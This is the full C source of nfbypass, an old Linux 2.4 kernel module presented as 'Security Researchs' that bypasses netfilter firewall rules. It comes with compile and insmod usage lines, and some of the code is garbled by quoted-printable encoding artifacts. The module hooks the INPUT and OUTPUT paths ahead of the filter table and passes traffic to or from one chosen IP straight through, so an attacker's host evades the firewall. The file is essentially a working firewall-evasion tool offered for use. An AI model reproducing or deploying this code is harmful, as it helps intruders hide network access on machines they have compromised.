nfbypass is a Linux kernel module for the 2.4.x series which, when inserted, will bypass netfilter rules.
c92278ac9f69f9e3fce669b4bdaf7609692c9cd2074111ab285fc98a64dc7c63
/********************************************************\
* nfbypass.c *
* By truff (truff@projet7.org) *
* *
* Linux 2.4.x lkm to bypass netfilter INPUT and *
* OUTPUT rulez *
* *
* Compil: gcc -O2 -c nfbypass.c *
* Usage : insmod nfbypass.o my_ip=3D"xxx.xxx.xxx.xxx" *
* *
* Greetz to #root people and projet7 members @#!% *
* *
* www.projet7.org - Security Researchs - *
\********************************************************/
#define MODULE
#define __KERNEL__
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
#include <linux/netfilter_ipv4/ip_tables.h>
u_int32_t my_inet_addr (u_char *address);
static u_char *my_ip =3D NULL;
static u_int32_t my_address;=20
MODULE_PARM (my_ip, "s");
static unsigned int my_hook (unsigned int hook,=20
struct sk_buff **pskb,=20
const struct net_device *indev,=20
const struct net_device *outdev,=20
int (*okfn)(struct sk_buff *))
{
struct iphdr *ip;
ip =3D (struct iphdr *) ((*pskb)->nh.iph);
=20
if (((hook =3D=3D NF_IP_LOCAL_IN) && (ip->saddr =3D=3D my_address)) ||
((hook =3D=3D NF_IP_LOCAL_OUT)&& (ip->daddr =3D=3D my_address)))
{
/*
* OK, we Jump over Netfilter :)
*/
okfn (*pskb);
return NF_STOLEN;
}
else=20
return NF_ACCEPT;
}
static struct nf_hook_ops in_ops =3D {
{NULL, NULL}, my_hook, PF_INET, 0, NF_IP_PRI_FILTER-1
};
static struct nf_hook_ops out_ops =3D {
{NULL, NULL}, my_hook, PF_INET, 0, NF_IP_PRI_FILTER-1
};
int init_module (void)
{
my_address =3D my_inet_addr (my_ip);
=20
in_ops.hooknum =3D NF_IP_LOCAL_IN;
nf_register_hook (&in_ops);
out_ops.hooknum =3D NF_IP_LOCAL_OUT;
nf_register_hook (&out_ops);
=20
return 0;
}
void cleanup_module (void)
{
nf_unregister_hook(&in_ops);
nf_unregister_hook(&out_ops);
}
u_int32_t my_inet_addr (u_char *address)
{
u_int32_t u1, u2, u3, u4;
u_int32_t ip;
char *ptr;
if (address =3D=3D NULL)
return -1;
u1 =3D simple_strtoul (address, &ptr, 10);
u2 =3D simple_strtoul (ptr+1, &ptr, 10);
u3 =3D simple_strtoul (ptr+1, &ptr, 10);
u4 =3D simple_strtoul (ptr+1, &ptr, 10);
=20
ip =3D u4<<24 | u3<<16 | u2<<8 | u1;
return ip;
}